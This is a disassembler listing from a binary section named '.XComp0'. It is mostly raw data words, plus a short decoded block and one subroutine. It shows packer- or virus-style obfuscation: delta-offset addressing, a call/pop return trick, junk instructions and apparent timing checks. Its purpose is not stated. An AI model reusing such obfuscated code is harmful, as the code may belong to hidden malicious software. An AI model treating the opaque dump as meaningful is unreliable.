		dd 81665A13h, 61EDBFF2h, 0FFF2B1E9h, 57006AFFh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8BE802D6h
		dd 50006AC1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0AA42BBA6h, 858D4864h, 5F90DC1h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B2C35141h, 872F2DA4h
		dd 978B68E7h, 5250900Dh, 310FFE8Bh, 61CBB560h, 6650585Ah
		dd 0F90DF8Bh, 6ADBBFh, 6A006AF5h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 7981C355h
		dd 0D5EEB148h, 0EE988F2h, 8F000000h, 7D935A2Ch,	601CD3F3h
		dd 9887CAE5h, 2E858DDCh, 8B05FDF2h, 0F91661BDh,	5C08305h
		dd 90DBB70Fh, 1093F3BBh, 0AE85050h, 6D000000h, 0BE944B4Fh
		dd 0AC290A6Dh, 5DBB66BFh, 6A905B0Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0BA27C356h
		dd 3ABF1CA7h, 6A26BBB4h, 78D78100h, 6A189128h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 17A9EBFh, 0E17BEC6Ch, 0ED95FF8Ah, 6A05F913h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0CEC3C351h, 5576D0E4h, 8D8D2339h, 5FCE983h, 0A5BA6660h
		dd 10E86153h, 49000000h, 15A49A17h, 945E96F6h, 239AB443h
		dd 8B7684D1h, 0F92BA1BDh, 0D1FF5F05h, 7A04BF66h, 1785BD83h
		dd 0F0105F9h, 9E85h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 850108A3h, 5F90C6Dh, 6A026Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0B56EAFC3h, 0C5458B06h, 399D8981h, 5005F908h, 52505250h
		dd 310FDA8Ah, 585A5B53h, 585A310Fh, 6A240489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0E9BEC351h, 8909F102h, 0F9223D85h, 0D99D8B05h, 0F05F918h
		dd 95FFDAB7h, 5F90099h,	0EF805256h, 0E95B5F69h,	0DD3h
		dd 0E8h, 0ED815D00h, 5FDF238h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0CEC35545h,	0FA9ED781h, 858D5C6Fh
		dd 5FCD97Ch, 52506090h,	0FF18B66h, 5A52B031h, 6800F58h
		dd 50000000h, 5A310F52h, 0E9506158h, 11h, 9CCD2D42h, 0A0394045h
		dd 0C6DA043h, 0BCD9C67Dh, 6A9065h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0BFF923C3h, 4FD9D9B7h
		dd 35FF64h, 66000000h, 649DA3BFh, 2589h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0BF795EC3h, 223AE6EBh, 0E9F33557h, 7, 1E1ED908h, 0FF434D75h
		dd 0F9197D85h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 74F952E6h, 635E5F90h
		dd 9D8BFF6Ah, 5F920D9h,	0FFDFB70Fh, 0F932E9B5h,	40E38105h
		dd 0FF326674h, 0F9091195h, 13DE905h, 9D8B0000h,	5F92A75h
		dd 164D9D8Bh, 0B005F9h,	0BE8h, 1B3F4700h, 6D178251h, 98A30569h
		dd 0F870E65Fh, 0B70F71E4h, 0ED9509DEh, 3C05F932h, 8830F61h
		dd 0E9000001h, 12h, 28A29CB4h, 8F034445h, 0EAE25926h, 0C8CF36A2h
		dd 0B60FBEC6h, 8D2953C8h, 5F934D5h, 6BA5Fh, 9E90000h, 77000000h
		dd 451B93F8h, 0F2D45655h, 0E381C18Bh, 5EEE4E2Dh, 13E9h
		dd 4DB23000h, 0D362A14Ah, 0B3FAB37Dh, 0F8E43609h, 0A5A2F3F6h
		dd 2904E8C1h, 0F9112DB5h, 0E2F76605h, 6820Fh, 95890000h
		dd 5F92231h, 0BD23C82Bh, 5F921F9h, 0B589D18Bh, 5F92529h
		dd 0D3C78166h, 6E91Ah, 9D8B0000h, 5F91A91h, 32A1858Bh
		dd 0BD8B05F9h, 5F934A1h, 0B707C083h, 0C083FCh, 0CE8h, 0B35EAF00h
		dd 931E142Dh, 2D6632E1h, 0F98B6669h, 0FD03B5Fh,	1A83h
		dd 7E900h, 0C680000h, 0FCBB8AEEh, 39E956h, 0B70F0000h
		dd 0D1BD8BDBh, 8B05F919h, 0F92B258Dh, 2935BF05h, 0E183090Fh
		dd 1C840F01h, 8B000000h, 25A583D9h, 0FE05F92Bh,	95896BB7h
		dd 5F932A1h, 28D58589h,	0E905F9h, 8D000000h, 0FD5D84B5h
		dd 70BF6605h, 9D8D897Ch, 6A05F907h, 94EB8100h, 0FF2CA152h
		dd 0F91AED95h, 838B905h, 0BD010000h, 5F91645h, 6AFCE183h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0E020C353h, 0E9165E48h, 0Fh, 7EE9E2FEh
		dd 2AECADF1h, 0A56C88C6h, 0FC26FFB6h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 3BC35141h, 0E9B4CA60h, 5, 27DB770Dh
		dd 0CE95326h, 0B7000000h, 18F3D4DDh, 0CC2DF46h,	5FECCA48h
		dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 6D8D1FC3h, 582B5E17h, 6D952929h, 2B05F922h
		dd 0F5060D2h, 8158F6BFh, 552BC9D9h, 33AD6173h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 679CE7C3h, 14697A36h, 14E87Ah, 99FD0000h
		dd 0E0107860h, 0D20DAD18h, 1965609Ch, 480A62CEh, 0FC8A75E8h
		dd 0C19D895Fh, 8905F909h, 0F915058Dh, 880D05h, 0BF0F0000h
		dd 0DD958BD9h, 8905F90Ch, 0F90135B5h, 0C18D8B05h, 6A05F926h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 9A3EC355h, 0E31BA175h, 58B0FEFh, 56000000h
		dd 5FFEBF0Fh, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0F7E52C3h, 88Eh, 2820F00h, 8B000000h, 1BD89FBh
		dd 8305F927h, 0F91159BDh, 840F0005h, 98h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0EC35646h, 13852E07h
		dd 0B8C9C0h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0B9A5C356h,	8053BB8Ch
		dd 8D5B44C3h, 0F94EE88Dh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 9D01B7D5h
		dd 5F9316Dh, 0C1B70F60h, 0AB19BF66h, 0FE1FF61h,	138Fh
		dd 0EE900h, 0DC180000h,	213033C9h, 7B00CFFEh, 0BDB95495h
		dd 0FDBD83h, 0F0005F9h,	43F84h,	0BD850900h, 0E905F933h
		dd 13h,	0E83E56BFh, 12F9581Bh, 7C94919Ah, 0D96978Eh, 8363CB4Dh
		dd 0F900FDBDh, 840F0105h, 42Fh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0D6C35747h,	53200BF2h, 0BD8349EAh
		dd 5F900FDh, 0CA860F03h, 6A000003h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 8BECC353h
		dd 6050DD1Bh, 66DFBF0Fh, 75BBD98Ch, 803018DDh, 666004E1h
		dd 9D89C68Bh, 5F9271Dh,	0FC90A61h, 16984h, 0EE800h, 26C90000h
		dd 0A01AC8E3h, 231C79Ah, 934B8C69h, 5BDFBF0Fh, 2599858Bh
		dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 4FBA7FC3h, 0F388535Eh, 8E88Ch, 40C70000h
		dd 5B8E18ABh, 9529DB1Fh, 5F90F61h, 2D85335Fh, 0E905F904h
		dd 13h,	0B532D61Ah, 0FA1BD232h,	9AFB914Bh, 921F1C00h, 90E0E2FFh
		dd 0DE9h, 76D58A00h, 0A70A2B80h, 0DF267DACh, 0F5000E2h
		dd 289h, 90FE8B00h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 5FC35545h, 0F88BA30Ah, 8E0F006Ah, 6
		dd 761BD31h, 0C66805F9h, 0BB197882h, 48ECC183h,	39243481h
		dd 6A196781h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0E958C353h, 8DB5AFD4h,	92DDFD9Bh
		dd 0F3CFC781h, 95FF5386h, 5F92AC5h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 1AC35141h, 759E000Ch, 390474CDh
		dd 0FC218589h, 8B6605FCh, 20AE9F9h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 562351C3h
		dd 58A0F56h, 66000000h,	2FE6CF81h, 8166605Bh, 29B999F7h
		dd 0F906799Dh, 858B6105h, 5FCFC19h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 18C35646h, 88EEBABCh, 173E3F84h
		dd 77C38039h, 7409F781h, 8B50150Bh, 0F9311DBDh,	0C75F05h
		dd 18h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 75C35141h, 0BA0C54D2h, 0A00166DEh, 0A1BD037Bh, 8B05F926h
		dd 0FCFC1DB5h, 0DF816605h, 858BB88Dh, 5F92B89h,	2A658D89h
		dd 68905F9h, 10E8h, 0D1D92500h,	0EABFF2E2h, 0A5EC56FDh
		dd 69EBA836h, 0D781661Bh, 665F9ED2h, 858BD98Bh,	5F92599h
		dd 10E8h, 317F800h, 0CD495130h,	0E3078900h, 0FB4977BBh
		dd 599D8B12h, 5F05F926h, 6A044689h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 4684C357h
		dd 0F0404683h, 60963E21h, 8BCF8B66h, 0F5061FEh,	138Fh
		dd 0EE900h, 0C4710000h,	35EAE7A9h, 0D03E208h, 79822B58h
		dd 0D67BF96h, 880F1EC6h, 11h, 0AE953h, 0A1DA0000h, 2D3CFA52h
		dd 968C1E17h, 19B5FF5Bh, 6605FCFCh, 0F93450BFh,	2FA40468h
		dd 0FEDCBB38h, 348116BFh, 30A7FB24h, 0FA8B6638h, 2651E381h
		dd 858D0740h, 5FCFC21h,	12E8h, 16F22300h, 48329B6Ch, 0DF657620h
		dd 0D83D59ABh, 0FA469AAh, 505FD9BFh, 6A240489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 7DB9C356h, 0BBDFB591h, 0AE933h, 0EE7F0000h, 9304B7Bh
		dd 5DC7485h, 2AC595FFh,	6A05F9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 55F054C3h, 66569ED3h
		dd 5F6D05BBh, 0C7DE8B61h, 0F900FD85h, 305h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0C381DBBCh, 423532C5h, 0FC21BD83h, 0F0005FCh, 1084h
		dd 2DB8000h, 21E9F98Bh,	29000000h, 0F9115D85h, 0C305005h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	9F2AF381h
		dd 66521889h, 5BDB8BBFh, 0FDBD83h, 0F0305F9h, 44E85h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 83F966E8h, 0FCFC21BDh, 840F0005h, 423h, 28119D8Bh, 0B5FF05F9h
		dd 5FCFC21h, 286DBD8Bh,	606005F9h, 89C9BF0Fh, 0F920D985h
		dd 61F56105h, 1AAD95FFh, 0B58905F9h, 5F915F1h, 0FC15B58Bh
		dd 6A05FCh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 287848C3h, 2E11D6DBh, 860FAFAFh, 5, 9EE78166h
		dd 106C72Fh, 29000100h,	0F9087995h, 8D0F9605h, 0Eh, 0D98B5250h
		dd 5250310Fh, 585A310Fh, 6050585Ah, 0FE8h, 69C1C700h, 0CB929381h
		dd 99DD5ABEh, 0D7F63480h, 605BD98Bh, 0BA665A57h, 6161EDFDh
		dd 0FE996h, 6C7E0000h, 0C17B0C43h, 0DC152A55h, 15A370D4h
		dd 0FF05B71Bh, 0FCFC21B5h, 14E96005h, 8F000000h, 0C8E72702h
		dd 0EC866EEEh, 5B1ECCB5h, 0F5EA27CFh, 0BAF1EC42h, 0E556381h
		dd 2995FF61h, 6A05F927h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0DAE2C357h,	9E98718h
		dd 6C000000h, 0E0B90171h, 0DD07536Bh, 0FC15B58Bh
		dd 858B05FCh, 5F91809h,	8689F88Bh, 0C4h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0F8C35040h, 0E99D8BD5h
		dd 8B05F92Bh, 0F90CDD95h, 4C28305h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0D3C35747h,	5214C158h, 72D56E0Fh
		dd 8B0FD9h, 89000000h, 6A2050h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 43C822C3h, 8B0B7AC8h
		dd 0F906BDBDh, 84BF6605h, 0E9858D4Ah, 6A05FD10h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 92FBC352h, 5C930BC3h, 0FE62BA48h, 29718D89h,	9D8B05F9h
		dd 5F90CD1h, 0B88689h, 0BD890000h, 5F924C1h, 0BF0F006Ah
		dd 21B5FFF9h, 6605FCFCh, 95FFF88Bh, 5F90099h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5DC35141h, 6810FE3h
		dd 31000000h, 0F928558Dh, 19B39605h, 96F98B50h,	6880Fh
		dd 8D290000h, 5F91665h,	0C6DB529h, 0B5FF05F9h, 5FCFC21h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F4C35545h
		dd 95FFDD38h, 5F93569h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0EAC35646h, 0E3ABF9B3h, 8E0F3Fh, 83000000h
		dd 0F917F5BDh, 840F0005h, 37h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 96C35040h, 1376664Dh, 23A279CBh
		dd 0B6605099h, 61605711h, 34896159h, 9D9D8B24h,	0FF05F92Dh
		dd 0FCFC21B5h, 9D8B6005h, 5F90F45h, 180D8501h, 606105F9h
		dd 5198589h, 0F08A05F9h, 6D95FF61h, 0E805F92Eh,	7, 20EE422Fh
		dd 0F1171DCh, 28Fh, 5B616000h, 0FC21B5FFh, 6A05FCh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 25E0F3C3h, 95FFEA70h, 5F921DDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 38C35343h, 4A41C9AAh, 89A3EA8Dh
		dd 0F9290D8Dh, 2DBD8305h, 205F90Ah, 6F840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 65554AC3h, 35EC063Ch, 0DF81FCFAh, 0A6A2B3Dh,	1151858Bh
		dd 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 4253D8C3h, 0FEE3DC2Ah, 85893119h,	5F90D6Dh
		dd 0CE9h, 7CF54400h, 5F2A1719h,	407AA748h, 0C624h, 1985C7F8h
		dd 5F933h, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 32C7C352h, 694DEBDCh, 0EE9h, 314ABD00h
		dd 0F3F8570Fh, 523AEFCh, 0E9FF7885h, 0FFFFF354h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 5FC35545h, 4BB3DC9Ah
		dd 8166A808h, 8B43D9F7h, 3DB589C1h, 6605F92Eh, 8DC426BBh
		dd 0F90DC185h, 50505005h, 5F5F5B52h, 89240489h,	0F9243595h
		dd 6A006A05h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 5277C357h, 75664AE0h, 36325A5h
		dd 0F9225D9Dh, 0F006A05h, 1683h, 11E900h, 18A20000h, 651828FFh
		dd 3D872501h, 3C1F26h, 8D88406Eh, 0FE020685h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 7372B7E6h, 5C08328h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 54C35242h, 32DB8166h,	14E8507Ch, 1F000000h
		dd 899D50Fh, 0D2619536h, 0D1A3CC68h, 7D604404h,	0F2AE0F2h
		dd 158Eh, 10E900h, 6F350000h, 0FED67E74h, 283E9696h, 28D71151h
		dd 895FD8A0h, 0DE82404h, 2B000000h, 64E49242h, 0F3BD38D4h
		dd 0C7956493h, 5BD88B66h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0DBB795C3h, 19959589h
		dd 5E905F9h, 0C1000000h, 9248442Ch, 9D8B006Ah, 5F91365h
		dd 13ED95FFh, 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0BD8B76C3h, 5F92809h, 2955B529h
		dd 8D8D05F9h, 5FCE983h,	0D1FFF88Bh, 2841BD8Bh, 0BD8305F9h
		dd 5F91785h, 84850F01h,	0E8000000h, 8, 603BB5D5h, 0C5C3B4CAh
		dd 2E75BD8Bh, 6A5B05F9h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0B06BDF25h, 0D98B50F5h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 30BC353h, 3165C884h, 9995FFh
		dd 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0F87FBFC3h, 0E9CB1F4Bh, 0E6Fh, 0E8h, 0ED815D00h
		dd 5FE0210h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	5FC35040h, 0A019D8Bh, 0F6005F9h, 68Ah, 870F00h
		dd 66000000h, 613555BBh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 8BC35646h, 9BB6698h, 0FA8B6641h, 1FD9BD89h
		dd 858D05F9h, 5FCD97Ch,	0CB58589h, 665005F9h, 489D98Bh
		dd 0F98B6624h, 35FF64h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 9A34C353h
		dd 7E860A3h, 0BD000000h, 3C3D1515h, 8E945BEh, 0C5000000h
		dd 0DB9FC46Fh, 5BE08E8Fh, 31718589h, 0E86105F9h, 13h, 8A3715C7h
		dd 784C015Ah, 0EC8FA9DCh, 5677520Ch, 5BC32CC6h,	258964h
		dd 80000000h, 85FF7DF7h, 5F9197Dh, 2800Fh, 0FA8B0000h
		dd 5060FF6Ah, 5EC8B70Fh, 7E9h, 0D31ED400h, 5425BC19h, 9B5FF61h
		dd 0FC05F924h, 91195FFh, 13E905F9h, 0B0000001h,	69BD0300h
		dd 6605F92Eh, 0AD47DB81h, 895770E6h, 0F927F1B5h, 71E45B05h
		dd 28D0F60h, 60000000h,	3C61F861h, 0E7830F61h, 89000000h
		dd 0F92B8195h, 0C8B60F05h, 13E9h, 0D8CE2F00h, 1278F2E5h
		dd 7A608BC3h, 87849073h, 623F18E2h, 6BAh, 5E900h, 0FAE0000h
		dd 8B17ADEAh, 0BD8B60C1h, 5F90135h, 10E9958Bh, 0C16105F9h
		dd 0B3B704E8h, 14959531h, 0F76605F9h, 69BD89E2h, 2B05F912h
		dd 8BFE8BC8h, 66BB66D1h, 6E982h, 0C7810000h, 74E6FE08h
		dd 419858Bh, 0D98B05F9h, 2907C083h, 0F905FDB5h,	0C08305h
		dd 0D03BF0B3h, 2E830Fh,	860F0000h, 0Fh,	0AE9h, 76A61400h
		dd 9DB26053h, 0B7D77548h, 44E938h, 8B0F0000h, 0Ch, 6830Fh
		dd 8B0F0000h, 0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+5F92519h]
		movsx	ebx, ax
		and	ecx, 1
		jz	loc_5BBA2A
		mov	di, 0BD47h
		and	dword ptr [ebp+5F92519h], 0FFFFFFFEh
		mov	bx, 0BF59h
		mov	[ebp+5F90419h],	edx
		xor	ebx, [ebp+5F918A1h]
		jmp	$+5


loc_5BBA2A:				; CODE XREF: .XComp0:005BBA04j
		lea	esi, [ebp+5FD6807h]
		push	0
		push	ecx
		call	sub_5BBA3B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBA3B	proc near		; CODE XREF: .XComp0:005BBA33p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5BBA3B	endp

; ---------------------------------------------------------------------------
		db 77h
		dd 0B8519181h, 7A099FC2h, 13E852h, 2C10000h, 0EB270659h
		dd 73E2FEEh, 84BBB29Eh,	0A7B44E40h, 3D9D8BA6h, 5F05F922h
		dd 0BD8B006Ah, 5F916C1h, 2E059D8Bh, 95FF05F9h, 5F91AEDh
		dd 31D1BD0Bh, 816605F9h, 0B9E790E3h, 823h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A1C35242h, 0DB812C0Eh
		dd 7472D55Ah, 8BFCE183h, 0F9256DBDh, 6AFC05h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 1A7CA0C3h
		dd 7F48EB81h, 9D8B5C10h, 5F92985h, 0B8h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 850F69h, 2B000000h, 4D9589D2h, 6605F931h, 33ADD98Bh
		dd 3E8D1C2h, 4E983D0h, 870FF475h, 0Ch, 6820Fh, 8D010000h
		dd 5F9220Dh, 880DF5h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0E2309EC3h, 0A65E189Bh
		dd 89F513E8h, 0F90815B5h, 0DD958B05h, 6A05F90Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0AD25C352h, 0E30CCB58h, 26C18D8Bh, 850105F9h, 5F921E1h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0BF685BC3h, 2144F340h, 0E9CFED4Ah, 0Bh, 32EE44DAh, 0CFC135BDh
		dd 19D2AADh, 0F9120D8Dh, 59BD8305h, 5F911h, 25840Fh, 0BD8B0000h
		dd 5F90B29h, 25B5BD33h,	0B805F9h, 0F8000000h, 4EE88D8Dh
		dd 9D8B05F9h, 5F90025h,	0FFFBBF0Fh, 83F98AE1h, 0F900FDBDh
		dd 840F0005h, 502h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 9BC35747h, 0FDBD83F5h, 105F900h, 4F3840Fh
		dd 0BD8B0000h, 5F90F99h, 0FDBD83h, 0F0305F9h, 4AA86h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0EA742BEAh, 56006A60h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 49A77F6h, 66C66F17h, 663B61BBh
		dd 8C66F88Bh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 9BF12487h, 9DAB8301h, 28E0FC7h, 8B000000h
		dd 4E180F8h, 19BD31h, 0C90A05F9h, 16A840Fh, 0BD330000h
		dd 5F9290Dh, 2599858Bh,	6A05F9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 5EFD22C3h, 0D5EB24B1h
		dd 42D8533h, 6A05F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0C67AA5C3h, 64746DD8h, 7B750FCh
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0DB48C351h, 6BC0E5B6h,	0CA423373h
		dd 8D316056h, 5F93329h,	0A0DA8166h, 6A5F6105h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 68269395h, 0CE512EDBh, 0CE8h, 52A9E900h, 0A05B7932h
		dd 79DF8355h, 0BB52500Eh, 5EBF250h, 5250310Fh, 585A310Fh
		dd 815B585Ah, 0D5242404h, 6A31CDh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 385111C3h, 0FF38110h
		dd 0FF3007CBh, 0F92AC595h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F53F94Bh
		dd 8589D9BFh, 5FCFC21h,	0E9DE8B66h, 286h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 87C35747h, 0C02062FCh
		dd 5E9h, 0F414F300h, 0BD8B85DCh, 5F91F21h, 0FC19858Bh
		dd 6A05FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 2A1229C3h, 71DD428Ch, 0A9BF9C80h,	0C74AE2E3h
		dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0AC8A597Eh, 9D0BB616h, 5F9157Dh
		dd 8BDFBF0Fh, 0FCFC1DB5h, 0B70F5605h, 858B5FFAh, 5F92B89h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 67C35747h
		dd 689FE8Bh, 0FD858953h, 5F05F919h, 2599858Bh, 6A05F9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0FE7DB4C3h, 0A1232AF3h, 0DB81C0B9h, 222B157h, 6A044689h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0AFCEC356h, 41BD8BCFh, 0E905F912h, 0Bh, 62F4B281h
		dd 7F9B57A8h, 96B858A4h, 5870F60h, 0B9000000h, 15BBB011h
		dd 0EE9h, 0B6CCED00h, 9EC76190h, 0A3FA43F2h, 61A77E27h
		dd 0A456BB50h, 6A963CEAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 64DFC351h, 0C0EFEA21h
		dd 667F3A15h, 3431DF81h, 0FC19B5FFh, 6A05FCh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1D2F63C3h
		dd 38634CD2h, 4E8A2h, 3FF0000h,	8B66001Fh, 665750F8h, 5B6789BFh
		dd 424448Bh, 6080FABFh,	50008B40h, 0BB665052h, 0F5FAB8Fh
		dd 89585A31h, 58042444h, 20018D01h, 816605F9h, 8DA16BEBh
		dd 0FCFC2185h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0FE3BFBA0h, 0C4F4FC21h
		dd 9D8B4C82h, 5F91819h,	5039B390h, 0BE8h, 200BF200h, 0B049EA53h
		dd 0C6B1BA9h, 61605250h, 0FA8A310Fh, 905B585Ah,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 56C35747h, 0C595FF98h
		dd 6A05F92Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 2E3FC352h, 52FE7A6Dh, 816660E1h
		dd 8B22DDD3h, 0F933299Dh, 89616105h, 0F925659Dh, 8E905h
		dd 85100000h, 4D31F885h, 85C7CC47h, 5F900FDh, 3, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8DC35141h, 0AA13672Fh
		dd 66766D12h, 0FB224BBh, 0BD83F8B7h, 5FCFC21h, 0C840F00h
		dd 0F9000000h, 21E9h, 0E5BD8B00h, 5005F90Ch, 110C30h, 0C1011144h
